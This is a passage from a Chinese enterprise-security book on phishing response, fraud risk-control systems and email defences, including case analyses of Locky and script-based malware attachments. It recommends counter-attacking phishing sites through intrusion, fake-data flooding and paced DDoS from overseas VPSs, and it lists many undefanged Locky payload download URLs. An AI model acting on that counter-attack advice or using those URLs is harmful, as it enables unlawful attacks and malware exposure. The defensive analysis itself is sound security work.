在实际工作中，可能需要与多家外部机构合作，有的提供的是接口，有的可能仅能提供邮件，相互提供的数据可能还存在重复，所以我们需要有一套系统将这些信息进行汇总，利用一些技术手段进行截图，进而做图片相似性判断，便于接下来的应对处置。




15.4.2　钓鱼处置



不管是自己爬到的还是外部合作机构发现的，都要对钓鱼进行合理的处置，处置手段一般包括以下几种：

·及时通知受害者，以减少损失。

·关闭域名解析或封禁域名。

·对钓鱼网站进行反制。

第一种就不多说了，如果能加速这个发现、提醒过程，相信会有更多用户能避免损失。


1.关闭或封禁钓鱼网站


一般企业是不具备能力去关闭钓鱼网站的，所以这个时候都需要找外部合作机构，比如Cncert、RSA等；腾讯、360等在移动终端上提供了安全防护类功能，所以也可以合作，将钓鱼网站信息反馈给对方，这样当用户访问恶意的链接的时候，会被手机上的安全防护功能拦截。

由于这些都涉及与外部交互，只靠人工操作不仅烦琐而且效率不高，当钓鱼网站大量出现的时候，就显得力不从心了。此时上面提到的平台就可以发挥其功效了，有大量的输入源，有后端的爬钓鱼网站页面自动截屏和相似性对比，更应该有与各系统自动对接，自动完成封禁的流程，比如在对方网站上提交数据，或者发邮件到对方特定邮箱等。

当然，关闭或封禁钓鱼网站没那么快，可能还涉及要与一些运营商或DNS服务提供商的沟通协调等，所以我们还会有一些针对性的反制措施。


2.对钓鱼网站进行反制


对钓鱼网站进行反制的目的是尽可能地减少用户损失，一般有几种操作：

·入侵或逆向拿数据。

·大量写虚假数据。

·DDoS攻击。

·通过调整业务逻辑解决。

钓鱼网站基本上都是采用相同的模板生成的，安全性不高或者都有一些后台供访问（不排除开发者留一手），如果搞定一个钓鱼网站，以后遇到类似的基本上都能搞定。以下为安全牛公布的某钓鱼网站后台结果数据，如图15-17所示。




图15-17　钓鱼网站后台数据（来源于安全牛）

钓鱼网站提供恶意APP下载，通过逆向就可以找到一些类似于手机号（一般用来转发特定验证码短信）、邮箱账号密码（一般用来记录用户的通讯录、手机短信等）的信息，登录这些邮箱往往也会看到一些吓人的数据。拿到这些数据后，可以提供给业务部门，让他们通知受害用户，避免遭受损失。

除了直接入侵或逆向，还可以直接批量提交虚假数据。根据笔者经验，很多钓鱼网站根本不会校验用户输入的卡号到底是不是真实的卡号，所以可以通过脚本生成大量卡号密码提交到钓鱼网站，可以给对方增加一些工作量，也为我们争取更多的时间。有些钓鱼网站开发得不好，甚至在写入垃圾数据过多时，自己就崩溃了。

还有一招就是DDoS，在境外申请VPS对钓鱼网站进行流量压制，让用户访问变得非常慢或者无法访问。建议不要轻易使用，或者使用时讲究技巧，打打停停，一是怕VPS提供商发现后导致VPS不可用，二是如果招惹黑产反过来DDoS就有点麻烦了。

有时候依靠单纯的技术对抗解决不了的问题，但是说不定在业务场景里就能轻易解决，比如账户盗用场景里的二次认证，钓鱼网站搞到了用户密码也没法交易，不失为一个很好的方法。随着国家对电信诈骗打击越来越严厉，伪基站钓鱼有明显减少的现象，大环境好转，很多问题就变得不是问题了。




15.5　大数据风控






15.5.1　基础知识



在大数据这个概念火热之前，传统信贷审批行业就有自己的一套风控系统，一般以人行数据和学信网数据、结合用户消费行为给用户综合授信，通过面审的方式对用户进行判断。随着互联网+的流行，各互联网金融公司将业务放到了网上，用户通过填写一定的申请信息来对用户进行贷款审批。效率的提高同时带来一个直观的问题—网络背后是优质的信贷客户还是欺诈客户？

很多企业建设风控系统主要目标就是反欺诈。反欺诈主要是针对两种欺诈行为，第一种为没有还款意愿或者还款能力的客户进行借贷的操作称为欺诈行为；第二种为有预谋、有组织的团体专门进行的诈骗行为。

除了贷款，还有很多场景需要风控系统介入，比如支付场景。以某宝的风控为例，每笔交易发生时，某宝风控大脑都会从账户、设备、位置、行为、关系、偏好这6个维度去判断是否是本人，按官方宣称安全大脑对一万个习惯特征进行识别，将风控发生率控制在百万分之一。




15.5.2　风控介绍



下面以一个风控系统为例，说明风控系统的架构、原理、运行机制等。Nebula是国内安全公司威胁猎人团队开源的一款风控系统，重点解决恶意注册、账号被盗、内容欺诈三方面的业务安全问题，其系统架构如图15-18所示。




图15-18　Nebula风控系统架构图

从图15-18可以看出，Nebula由业务层、运营管控层、数据输出层、数据计算层和数据源层组成。而其工作流如图15-19所示。

下面我们结合实际企业场景，对数据源层、数据计算层、数据输出层、运营管控层、业务层分别进行介绍。




图15-19　Nebula风控系统工作流程图


1.数据源层


大数据风控的基础在于数据，全面、高质量的数据可以帮助我们准确地进行风险控制。除了来自业务系统的日志外，还可以有更多的外部输入数据，比如以下几个方面：

·用户基本信息，除了我们所熟知的姓名、身份证、银行卡、手机号外，还有学历信息、收入情况，甚至包含当前设备、当前位置等。

·用户的征信数据，除了人行征信系统外，还有一些其他网贷平台上的逾期或黑名单信息，比如某网贷平台的黑名单数据，如图15-20所示。

·历史交易信息，包括历史交易额、历史交易笔数、历史行为等。

·运营商数据，比如入网时长、入网状态、每月消费情况、通话记录、短信情况等，通过运营商数据可以判断用户的设备是否有异常。

·用户行为数据，包括用户的搜索记录、购买记录、社交数据等，通过这些数据可以判断识别该用户是一个什么样的人、有多强的消费能力、社会关系如何，等等。




图15-20　某网贷平台黑名单图


2.数据计算与数据输出层


数据计算层与数据输出层，对应到很多企业自建的风控系统里，就是规则层，通过风险规则引擎对数据源进行计算，得到相应的风险等级或分数。以贷款为例，这里的规则一般包括准入规则、反欺诈规则等。

准入规则可以理解为一些政策上的要求，比如18岁以下的人不能放贷，大学生不能放贷等；或者一些业务上的要求，例如偏远地区放了贷款，万一不还则催收成本高，因此建议不放贷款等。还有一些场景，比如系统在前期测试时只允许特定的人群参与等。

反欺诈规则的主要目的是，识别用户是否有骗贷风险，以及有多大的骗贷风险。规则制定的时候可以基于用户画像，目的在于通过打标签的方法识别不同的用户群体的风险程度。其标签可以按照用户还款行为、用户申请轨迹、用户基本信息等方面进行考虑。


3.运营管控层


这一层的功能主要服务于风控规则的快速迭代和系统的个性化配置，比如对规则内容的调整、规则的启停等进行管理。规则内容的调整可以理解为某个规则参数从3变成5这样的调整，规则的启停可以理解为发现某个规则异常后将其下线。

图15-21为Nebula风控系统的组件图。

通过这一层对风险情报进行展示，对风险决策进行配置，对决策效果进行回溯分析，以便业务层进行相关的动作。




图15-21　Nebula风控系统组件图


4.业务层


这一层就不需要过多介绍了，基本都涉及具体的业务场景，比如快捷支付、直付通、转账交易等。图15-22为某信用卡论坛上的某宝风控效果图。




图15-22　某宝风控效果图

关于开源风控系统Nebula的更多内容，请访问：



https://github.com/threathunterX/nebula










15.5.3　企业落地



在金融机构中，由于历史或业务原因可能存在着很多风控系统，比如信用卡系统有信用卡的风控，网银系统有网银的风控等，这样会导致反欺诈风险防范措施分散，覆盖不全存在漏洞，基础数据也缺乏统一规则、建设不够全面。有的企业开始着手建立新一代的风控系统，同时对接外部专业风控厂商，图15-23为某行风控系统逻辑结构图。

在一些场景上需要针对性的风控，比如客户更换手机、手机位置与交易发起端位置对比、线上线下地址对比、最近交易记忆策略、常用收款方策略、手机操作习惯等，就不一一展开了。最终在用户端的体现就是各种互动方式，比如常用的密码、动态验证码、指纹验证、人脸自动识别、人脸人工识别、账户自动冻结等。




15.6　小结



本章针对业务安全中常见的几个场景进行了阐述，如账号安全、爬虫与反爬、API网关、钓鱼与反制、大数据风控等，这些场景只是业务安全的部分侵入点，本章只是提供了一个思路，应结合实际工作再仔细分析问题点，做好安全防护。




图15-23　某行风控逻辑结构图




第16章　邮件安全



邮件系统基本上是所有企业对外或内部的工作沟通平台，随着电子邮件的广泛使用，漫天的广告邮件和包含钓鱼链接的垃圾邮件成了一个日益严重的问题。企业安全人员以往更多关注反垃圾邮件，但由于金融企业对数据保密有着严格的管控要求，对邮件外发做数据防泄露方面的管控，也逐步成为重点的工作内容之一。




16.1　背景



这些年，简单邮件传输协议（Simple Mail Transfer Protocol，SMTP）技术没有变化，对攻击者而言，邮件仍然是一个非常好的入口。只是随着技术水平的提升和利益的驱动，APT攻击、勒索软件开始流行起来，并不时被媒体报道，通过邮件形成的攻击越来越多，危害越来越严重。最极端的一个例子是，美国大选期间，希拉里陷入“邮件门”事件中，其团队竞选经理在最错误的时间点了一封最错误的邮件，被黑客发送的钓鱼邮件偷走了自己的邮箱密码，于是邮箱里的各种内幕就被公布到维基解密上了。除此之外的例子还有，全球四大会计公司之一的Deloitte（德勤）表示其邮件系统被入侵，大量客户邮件被泄露；Locky勒索软件通过钓鱼邮件方式大量传播，很多企业用户中招导致文档被加密。金融企业也有很多的类似案例，就不一一列举了。

邮件系统安全，按照访问方向，可分为入站和出站两类，入站主要的问题包括：

·邮箱账号暴力破解。

·邮箱账号密码泄露。

·垃圾邮件。

·带恶意URL的钓鱼邮件。

·带恶意附件的病毒邮件。

出站主要的问题包括：

·数据泄露。

·通过邮件发布违法信息。

·邮件服务器被滥用或被拒绝。

2017年底，我国开展互联网电子邮件系统安全专项整治行动，图16-1为其中一个附件内容。




图16-1　安全专项整治工作附件部分内容

根据网上的相关解读，电子邮件安全专项整治行动，有以下几项措施：梳理排查邮件系统基本情况，开展邮件系统集中建设工作，加强邮件系统网络安全等级保护，加强邮件系统建设安全管理，加强邮件系统的应急处置工作。其中，关于安全管理中提及了防钓鱼、防窃密、防病毒、反垃圾、内容过滤、安全审计这几个关键安全保护措施。




16.2　入站安全防护



站在攻击者角度来看，黑客直接访问外部邮件系统，利用社工库或者暴力破解得到账号密码就可以进入邮件系统，之后在邮件中各种翻找就可以发现更多信息，甚至找到下一步要攻击的对象；或者发一封邮件给企业内部的员工，邮件中包含恶意的URL，需要配合点击访问甚至是诱导用户输入自己的用户密码；又或者是邮件包含了恶意的附件，目标用户一旦执行，恶意附件就会控制电脑权限，甚至加密电脑上的文件以便进行勒索。




16.2.1　邮箱账号暴力破解



邮箱暴力破解，除了常见的通过POP3、SMTP、IMAP协议进行频繁认证请求外，还有一些是通过访问邮件系统登录页面进行的，比如渗透测试人员非常喜欢的OWA或者EWS接口，图16-2为某OWA登录界面。




图16-2　OWA登录接口图

大企业员工较多，对外的邮箱基本按名字拼音+域名组合，而邮箱往往又与域账号有关，很多企业的域账号又与员工编号有关。总之，对于别有用心的攻击者来说，利用SMTP、POP3、IMAP等协议或请求Web登录页面进行猜解，其成功率还是很高的。很多企业邮箱和AD做了集成，如果出现了大量暴力破解可能会触发AD的账号锁定机制，但这样也在一定程度上影响了企业的正常办公。

针对SMTP、POP3、IMAP等协议的暴力破解，邮件网关一般都具备相应的应对功能，比如黑白名单、连接限制、目录攻击防护，而针对Web登录页面的防护，主流的方法是使用双因素认证，有条件的企业可以考虑不将登录页面暴露在互联网上。

微软官方也有相应的文章介绍如何在OWA上配置RSA SecurID
 


[1]




 。从技术上来讲，Web页面实现双因素认证还是很容易的，比如通过Nginx反向代理实现。但邮件还涉及SMTP、IMAP、POP3甚至Exchange协议，确实需要花费精力。FreeBuf上有篇改造Nginx让邮件系统支持双因子认证的文章
 


[2]




 ，有兴趣的读者可以了解一下。

某企业将邮件系统与OA系统对接，账号登录认证在OA上完成，当需要使用邮件时，由OA直接跳转到邮件系统即可，中间根本不需要用户输入邮箱密码，所以该企业员工根本就不知道自己邮箱密码是什么。这样就可以在后台全局禁止POP3、IMAP等协议，减少风险窗口。而针对OA系统则采用证书的方式进行保护，即在外网无法直接登录，需要在机器上导入跟个人相关的证书才行，这样就可以有效规避暴力破解风险。在实际运营过程中，还需要关注一些测试、临时开放的OWA登录页面，以及EWS接口建议限制来源，监测相关认证日志，有问题及时阻断恶意来源。做针对性的测试，若发现没有此类登录失败日志，则需要检查与账户登录相关的审核策略，看是否有了开启Kerberos相关的登录验证审核。




[1]

 更多内容请参考：https://technet.microsoft.com/zh-cn/library/bb974232(v=exchg.80).aspx。




[2]

 链接：http://www.freebuf.com/articles/network/135640.html。




16.2.2　邮箱账号密码泄露



有些员工喜欢在外面一些网站上使用公司邮箱注册账号，可能还在多处使用同一个密码，比如我们所熟知的CSDN论坛。一旦这些网站安全措施不到位，也可能间接导致邮箱账号密码泄露。

针对此类问题，建议的做法是常态化的弱口令扫描，同时注意结合外部泄露发生时的主动提醒。邮箱账号密码弱口令扫描工具，网上有很多现成的工具，就不再赘述。搞渗透的同学喜欢收集网上各种社工库，当有某库泄露出来的时候，建议看看有没有与自己企业相关的邮箱，如果有，尽量通知一下，将相关程序做成标准模板，下次泄露发生时还可以直接使用。




16.2.3　垃圾邮件



针对垃圾邮件，常规的做法是部署反垃圾邮件模块或者网关，通常效果不错。某位业务人员向笔者反馈，大量发给QQ邮箱的通知邮件失败，希望我们能联系QQ邮箱解决。与腾讯相关人员进行联系后，对方反馈由于前一天收到大量来自我们通知邮箱的通知邮件，所以将我们对应的邮箱加入了黑名单。临时处理后，我们开始研究相应的解决方案，如SPF、DKIM、DMARC、RDNS等。


1.SPF


SPF（Sender Policy Framework）是一种以IP地址认证电子邮件发件人身份的技术。当你定义了你域名的SPF记录之后，接收邮件方会首先检查域名的SPF记录，来确定连接过来的IP地址是否包含在SPF记录里面，如果在，就认为是一封正确的邮件，否则会认为是一封伪造的邮件进行退回或丢弃处理。其工作原理图如图16-3所示。

SPF可以防止别人假冒你来发邮件，是一个反伪造性邮件的解决方案。设置正确的SPF记录可以提高邮件系统发送外域邮件的成功率，也可以在一定程度上防止别人假冒你的域名发邮件。


2.DKIM


DKIM（Domain Keys Identified Mail）是一种防范电子邮件欺诈的验证技术，通过消息加密认证的方式对邮件发送域名进行验证。在发送邮件时，发送方会利用本域私钥加密生成DKIM签名，并将DKIM签名及其相关信息插入邮件头，而邮件接收方接收邮件时，通过DNS查询获得公钥，并验证邮件DKIM签名的有效性，从而确保在邮件发送的过程中，邮件不会被恶意篡改，保证邮件内容的完整性。签名是先对body部分进行HASH，然后把这个HASH值放在邮件头里面，再对头部做签名。头部也不是所有字段都签名的，只有一些常用的字段，或者比较有意义的字段会被签名。其工作原理如图16-4所示。




图16-3　SPF工作原理图

通过QQ邮箱发出一封邮件，观察其邮件头，有DKIM签名，如图16-5所示。

其中，s=s201512，会去查对应的DNS记录s201512._domainkey.qq.com，获取公钥用于验证，而h=后面一长串字符串则表示会对邮件头中的Form、To、Subject等字段进行签名，意味着如果邮件中这些字段任一个被修改就会校验失败。




图16-4　DKIM工作原理图


3.DMARC


DMARC（Domain-based Message Authentication，Reporting&Conformance）是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议，在邮件收发双方建立了邮件反馈机制，便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录，并明确声明对验证失败邮件的处理策略。邮件接收方接收邮件时，首先通过DNS获取DMARC记录，再对邮件来源进行SPF验证和DKIM验证，对验证失败的邮件根据DMARC记录进行处理，并将处理结果反馈给发送方。其工作原理如图16-6所示。

DMARC能够有效识别并拦截欺诈邮件和钓鱼邮件，保障用户个人信息安全。通过测试我们发现QQ邮箱将以上三种措施都实施了，对应的DNS查询如图16-7所示。

从图16-7中可以看到，既有SPF记录，也有DKIM记录，更有DMARC记录，注意都是txt类型的。




图16-5　QQ邮件头部信息


4.RDNS


除了以上三种方案外，还有RDNS，即反向解析，把IP解析为域名，有时候邮件发出去被退信，选择RDNS会好很多，但这需要找运营商去实施。


5.部署落地


对比以上技术方案，SPF只需做DNS记录上的调整；DKIM除了DNS设置外还涉及邮件网关上的密钥生成及配置；DMARC则在SPF和DKIM基础上多了一个反馈共享机制，需要配套的邮箱来接收这些信息。建议从易到难的方式来实施，实际过程中还需多验证、从子域名着手开始部署，逐步推进。

qq.com的配置如下：






qq.com  text = "v=spf1 include:spf.mail.qq.com -all"







spf.mail.qq.com是一长串的内容：






spf.mail.qq.com text ="v=spf1 include:spf-a.mail.qq.com include:spf-b.mail.qq.com include:spf-c.mail.qq.com include:spf-d.mail.qq.com include:spf-e.mail.qq.com"










图16-6　DMARC工作原理图




图16-7　QQ邮箱SPF_DKIM_DMARC记录

一直到spf-a.mail.qq.com才能看到真实的IP地址，其主要原因是腾讯邮箱的服务器太多了，IP地址段非常多，而include语法有长度的限制，所以这是需要关注的。这里还有个细节需要在运营的时候关注，IP地址过多尤其是写网段的，随着IP地址的分配变化，有些IP已经不属于该业务或者该企业了，但SPF记录如果未更新的话，可能会被别有用心的人利用。

配置好之后，有个在线网站可以帮你评估：
www.mail-tester.com

 ，它会出现一个随机的邮箱，从你的邮箱发一封邮件过去，它就会自动评分，打对勾的表示测试通过，有扣分的会详细告诉你情况。

在邮件网关处对来源IP做SPF检查，可以有效阻断一些伪造的电子邮件，但在我们实际运营过程中，发现有利用知名公司域名的子域来投递恶意邮件的，这个需要关注，比如有一天你收到来自xx@support.microsoft.com的邮件，标题是与hotfix update相关的内容，你会点开吗？




16.2.4　邮件钓鱼



除了垃圾邮件外，邮件网关往往还会收到大量的钓鱼邮件，一般是在邮件中嵌入URL链接、img图片、iframe框架甚至XSS代码等。针对此类问题，首先需要关注的是，邮件网关的钓鱼邮件防护能力；其次是邮件系统在向用户展示邮件时对恶意代码的过滤能力；最后是终端及网络上的防护控制。

值得一提的是，在企业中主动对员工发起钓鱼邮件测试，也不失为一个好办法。一方面可以看看现有邮件网关、邮件系统、终端、网络方面的安全防护能力到底如何；另一方面可以加强用户的安全意识教育。

通过一定的技术手段，当被测试对象打开钓鱼邮件的时候，我们可以发现哪些人点击访问了这些特意构造的链接，我们注意到有一个116开头的IP非常多，反查一下居然是某邮件网关厂商的IP。

这也间接证明，邮件网关还是在认真干活的，通过其云端机制请求了我们的URL，起到了有效的防护作用。




16.2.5　恶意附件攻击



邮件网关一般都会集成杀毒引擎或云查杀功能对邮件附件进行检查，当发现病毒时进行隔离或做丢弃处理。很多企业对上网控制得比较严，黑客通过发送带URL的钓鱼邮件很难奏效，所以我们在实际过程中，更多是发现邮件带恶意附件的情况。结合笔者实际经验，我们将对抗分为几个阶段，从初级的可执行文件，到脚本文件，再到Office/PDF等办公文档，同时在其中引入沙箱、情报、安全运营的概念，供大家参考。


1.可执行文件与沙箱


某日，我们对入站邮件的附件进行分析，得到一个很惊人的数据—直接投递可执行文件的邮件占到了恶意邮件的90%！于是我们开始针对exe、dll等可执行文件直接在邮件网关上进行过滤，凡是附件是可执行文件的直接隔离，以暴制暴，猫和老鼠的游戏从这里开始！exe不行了就开始有压缩包，压缩包邮件网关也还是能识别的，exe、dll没了，但还有好多可执行文件格式可以利用，图16-8是我们遇到的一起案例样本。




图16-8　putty.zip样本图

邮件附件名是putty.zip，搞运维的同学都不陌生，点进去就是一个src屏保文件，双击就执行了。于是游戏继续。某日，我们又发现一个附件是加密压缩包，而且将密码写在邮件中。将这个压缩包下载，输入邮件正文中的密码进去发现是个CPL的文件，如图16-9所示。




图16-9　带密码的恶意样本

这个CPL双击也是可以执行的，执行之后会启动Word打开一个doc文档，大约4分钟后会与外部通信。带密码的网关默认是没法解密了，不过也还是有办法，如果发现附件是加密的，但同时又在邮件正文中出现密码、password等关键字，可以在邮件网关上做进一步的处理。现在市面上有一些网关号称可以提取邮件中的密码对压缩包进行解密，也可以实际测试一下效果和性能。

针对可执行文件，除了依靠邮件网关防护外，建议有条件的企业接入沙箱：一种是将邮件流量丢给沙箱设备；另一种是直接将邮件网关和沙箱集成。这样的好处是，当发现邮件网关防护失效后，还可以依靠沙箱进行发现，并且可以不断通过查漏补缺的方式提升现有邮件网关的安全防护能力。

某日，我们又发现漏放进来了几封邮件，居然还是.7zip的压缩包，里面赤祼祼的还是一个可执行文件。经过不断测试发现，7-zip有四种压缩方式，而现版本的邮件网关居然只支持其中一种压缩方式，其他三种都无法正常检测。这算是一个坑，经过验证，大版本升级后能解决，但这个细节还需要引起大家的注意。针对压缩包进行检测的场景，邮箱入站检测、后端沙箱、出站检测都会涉及，不支持就意味着有被突破的风险。还有一些产品，默认有一些参数，比如针对大的Office、PDF可能不会进行检查，也需要引起关注，在产品测试选型阶段就要搞清楚，以便采取针对性的措施或方案进行弥补。


2.脚本文件


除了可执行文件，邮件网关还会接触到各种各样的脚本文件，比如JS、JSE、VBS、VBE文件。我们以JSE（JScript Encoded Script）为例说明。为什么JSE双击就可以运行，其实这与操作系统的环境变量设置有关，如图16-10所示。




图16-10　JSE环境变量设置

从图16-10可以看出，VBS、VBE、JS、JSE等文件可以直接被执行。


 注意：


如果终端机器不需要执行各种脚本，可以直接在环境变更里做修改进行适当的屏蔽。

下面是我们从真实环境中抓到的一些样本截图，比如图16-11是JSE的勒索病毒样本。

这个JSE并非真正被微软加密过的JSE文件，而是病毒作者自己用了各种技术写成的一个脚本。仔细分析，可以得知脚本经过混淆和加密—一个是变量加长混淆；一个是关键函数加密。变量加长的前缀为wololosampsonFROG2或者Wololosampson。针对此类的变种，基本的思路是替换，将wololosampsonFROG2替换为空，然后将Wololosampson替换为空，得到的结果如图16-12所示。

这时候余下的就是作者自定义的加密函数了，考验人耐心的时候到了。图16-13是真正解密后的关键代码，为了方便大家看懂加入了一些注释。

整个脚本的流程就是访问特定URL下载病毒文件并执行，这里下载后的文件是加密的文件，需要解密后再执行，最后的效果是在感染机器上启动浏览器，打开页面如图16-14所示。

随着PowerShell的流行，我们也抓到下面这样一个JS样本，原始邮件内容如图16-15所示。




图16-11　JSE源码图




图16-12　JSE源码初步解密效果图




图16-13　JSE解密效果




图16-14　JSE勒索截图




图16-15　JS_PowerShell_邮件截图

打开这个附件里面是一个JS，有700多行的代码，包含各种内部加密组合，放到虚拟环境直接看效果，如图16-16所示。

这个JS最终的目标是调用PowerShell去下载后门并执行，此处不再赘述。邮件网关的对策依然是过滤，各种可能有危害的可执行文件、脚本基本在这里被清理得差不多了。




图16-16　JS_Action_360简单沙箱


3.办公文档与情报


随着前面的不断查漏补缺，可执行文件和脚本算是先告一段落，后面更多是Office和PDF了。在这个阶段，重点还是在运营。沙箱的事件开始跟SOC对接，SOC事件每天有人跟进，进而沙箱系统和情报实现对接，将可疑文件送到情报系统做进一步的检测；发现问题后需要配套的快速处理方法，都有不少工作需要做。我们再看一起批量恶意邮件攻击的案例。某个周未，某企业SOC风险展示平台上报出大量沙箱事件，事件类型为HEUR:Trojan-Downloader.Script.Generic，于是安全团队开始进行分析。从后台导出具体事件，经过一些过滤去重，最后发现有529笔事件，有以下规律：

·邮件主题为"Document From***"。

·发件人为"Accounts@***"。

·附件为"I-****.doc"。

·发件主机名多为随机字符串或一些单词的随机组合。

部分信息统计截图如图16-17所示。




图16-17　批量邮件攻击_宏

对其中一个样本进行分析，发现Word带有宏，代码如图16-18所示。




图16-18　Office宏代码

从中得到2个恶意文件下载链接：
http://rtozottosdossder.net/af/JbhbUsfs

 和
http://nan-cywillems.nl/JbhbUsfs

 。当务之急是清理恶意邮件，并对恶意域名和URL进行屏蔽处理。将样本发给外部情报公司对文件和URL进行更深入分析，得到以下结果：

·word样本包含恶意的宏，执行后会从网站
http://actt.gr/JbhbUsfs

 下载一个payload。

·经过威胁分析平台分析，actt.gr属于失陷网站。

·经过情报库的关联分析，确认了这个payload为Locky家族，属于勒索软件。

·黑客画像系统已经监测到大批量攻击行为，类似的Locky下载站点还有非常多，比如：



http://2-wave.com/JbhbUsfs









http://6tricksguides.com/JbhbUsfs









http://accuflowfloors.com/JbhbUsfs









http://actt.gr/JbhbUsfs









http://acurcioefilhos.pt/JbhbUsfs









http://aegeanlab.gr/JbhbUsfs









http://cancortes.com/JbhbUsfs









http://carriereiserphotography.com/JbhbUsfs









http://grossert.de/JbhbUsfs









http://indiasublime.in/JbhbUsfs









http://nancywillems.nl/JbhbUsfs









http://seoulhome.net/JbhbUsfs









http://swangroup.net/JbhbUsfs







现在外面的情报公司提供了这些URL是否全面？经过对这529封邮件附件逐一排查，通过脚本导出所有附件宏代码并抓取关键字，发现还有一些漏网之鱼：



http://darca.info/JbhbUsfs









http://nerdydroid.com/JbhbUsfs









http://campuslinne.com/JbhbUsfs









http://ach-wie.net/JbhbUsfs









http://musicphilicwinds.org/JbhbUsfs









http://eselink.com.my/JbhbUsfs









http://love.chuanmeiker.com/JbhbUsfs









http://gardenconcept.pl/JbhbUsfs









http://cagliaricity.com/JbhbUsfs







带有宏的文档可以在邮件网关上进行处理，除了宏文档外，还有一些不需要依赖宏的，比如利用Office或PDF漏洞的。

2017年Office漏洞层出不穷，各大安全媒体经常会有新发现了某个漏洞正被利用的报道，一般都是这些漏洞刚公布的几天内邮箱就会收到类似的攻击附件。下面这个案例是我们捕获的某个利用DDE漏洞的样本，通过脚本提取其特征代码如图16-19所示。




图16-19　Office文档DDE漏洞利用代码

建议有条件的企业，沙箱与情报系统联动起来，图16-20为该样本自动对接情报后的效果图，虽然只有3家能查杀，但CVE-2017-0199已经清晰写上了。

有了恶意URL，常规做法就是屏蔽，效果图如图16-21所示。

针对遗漏的已经投递进来的有问题的邮件，如何快速删除，且尽可能让用户无感知，也是一个需要关注的问题。如果每次都是联系邮件管理员在后台手工处理，那就不那么高大上了。建议的做法是在平台上与邮件系统接口对接，调用邮件系统删邮件的接口进行处理，这中间又涉及一些平衡，比如系统或操作问题导致大批量误删，责任就需要明确了。针对URL屏蔽这块，如果企业规模较大，各分公司都有自己的上网出口，怎么快速将这些URL分发下去拦截，又是另外一个话题了。总之，尽可能自动化、一键化，同时又要考虑到操作风险。




16.2.6　入站防护体系小结



前面涉及一些具体的案例和场景，介绍得相对零散。笔者建议的邮件入站防护技术体系是前面通过NGFW做一层基本的过滤，再由邮件网关启用反垃圾、防病毒、防钓鱼等进行过滤，将可疑或特定类型的附件集成到沙箱去分析，最后在邮件系统上启用一些过滤或杀毒功能，图16-22为邮件防护体系示意图。




图16-20　自动提交到情报分析的结果




图16-21　URL封禁效果图

有条件的企业建议全局禁止POP3、IMAP协议，防火墙上仅开放到邮件网关的SMTP以及邮件系统的HTTPS。NGFW的防护范围和控制精度比传统防火墙大大增加，可从应用、用户、内容、时间、威胁、位置六个维度进行一体化的管控和防御。在NGFW中启用垃圾/病毒邮件的过滤功能，利用下一代防火墙的高性能，对邮件进行初步过滤，提高垃圾/病毒邮件的处理效率。在部署下一代防火墙时，需要重点考虑以下事宜：




图16-22　邮件防护体系示意图

·在开启垃圾/病毒邮件过滤功能的情况下，依然能保持高性能。

·支持对SMTP、POP3、IMAP传输文件进行病毒检测。

·NGFW上有预置接口，能够将截获的可疑邮件发送至外部的垃圾邮件网关或安全沙盒，做进一步的分析。

邮件网关本身就有一些过滤功能，包括针对邮件内容中的URL，甚至对邮件附件内容做一些简单的过滤。邮件URL过滤是内置功能，启用即可；而邮件附件内容需要做一些配置。按照经验，将可执行文件、脚本类文件进行过滤或隔离，可以显著减少用户中招的风险。在邮件系统上启用杀毒功能也是一种选择，有时候出于可用性考虑，邮件系统管理员不一定接受该方案。

当然，可能还是会有遗漏进来的问题邮件，这个时候轮到沙箱上场了，如果邮件网关有直接集成沙箱的功能最好，没有的话可以将邮件网关发送到邮件系统的流量镜像给沙箱设备，沙箱对流量分析附件进行还原再做分析，有问题的文件产生告警，告警需要有人跟进处理。建议直接对接邮件系统，对已经放过的有问题邮件进行删除处理。

黑客不一定从外部投递邮件，如果某台终端被控制，那么发送问题邮件的人可能也是内部员工，内部邮件可能直接通过邮件服务器，不会到邮件网关和沙箱上进行分析。这种情况需要在邮件系统和终端上做工作，邮件系统一般都有恶意网页代码过滤的功能，必须开启。




16.3　出站安全防护



站在恶意内部人员的视角，他需要将一份敏感资料拿走。这资料可能是某某系统的设计文档及源代码，也可能是从生产系统导出来的客户资料，也可能是内部的规章制度，也可能是内部员工通讯录等等，总之就是想要拿出去，而邮件外发是个很好的通道。


1.邮件外发审计与拦截


有敏感数据保护要求的企业会针对邮件外发启用DLP进行拦截或检测，有些企业做得更加严格，外发邮件权限还需要审批，默认不能外发邮件。

邮件外发检测，一种是基于流量的旁路检测，即将邮件流量镜像到DLP设备，DLP根据相应的策略对邮件流量进行分析，此方案最大的好处是不改变网络结构，但遇到SMTP启用TLS加密就不行了。还有一种是将邮件路由到MTA，在MTA上进行检测，然后再发出去。更多关于邮件DLP的相关技术，我们在第14章已经讲过，就不再赘述。

在实际运营过程中，需要关注的是敏感邮件外发的检测策略是否都能生效？是否有自动化的验证以保障有效性？敏感邮件拦截后的处理流程是走审批还是外发加密处理？DLP事件处置如何跟进，怎么闭环？这些问题都需要细细考虑，由于各企业内部组织结构、管理方式都不一样，也没有一个统一的标准。图16-23是针对DLP模块的自动化验证事件。




图16-23　自动化验证事件

自动化验证事件由程序自动发起，模拟发送能触发不同规则的邮件，查看邮件网关DLP功能是否根据所设定的正常起到拦截、审计、加密外发等功能。

而DLP事件的跟进、调查和处置，更多是融合了流程管理，最终目的是使事件收敛，使已有事件形成闭环。


2.TLS通道加密


SMTP在网络上是明文传输的，不怀好意的人可以在网络上截获并发现邮件中的秘密。主流的方案是启用TLS对通道进行加密，比如一些境外组织（如VISA）会强制求邮件走TLS通道加密。现在主流的邮件网关都支持TLS通道加密了，只是在实际使用过程中，各家的方案不一样。有的需要指定域名路由；有的可以做到自适应—对方邮件服务器如果支持TLS则走TLS通道，如果不支持TLS则走明文，这的确不失为一个好办法。


3.禁止自动转发


邮件系统通常都提供了自动转发功能，员工为了工作方便，可能会将自己企业邮箱收到的邮件自动转发到外网邮箱（例如QQ邮箱）。

以常用的exchange为例，如果用户配置了自动转发而且没有勾选“Keep a copy of forwarded messages”之类的选项，邮件将直接转发出去，本地邮件系统是不会留档的。

为防止敏感信息泄露，我们需要禁止自动转发功能，并对其重点监控。如何禁止，微软博客上有详细的文章供读者参考
 


[1]




 。图16-24展示了在Exchange管理控制台上的设置界面。




图16-24　Exchange管理控制台设置禁用自动转发

怎么确认禁止自动转发生效了？除了测试之外，还建议在网络上对SMTP流量进行检查，看数据包里是否包含X-Auto-Forward特征字样，如果有就表示还存在漏网之鱼。


4.禁用ActiveSync协议


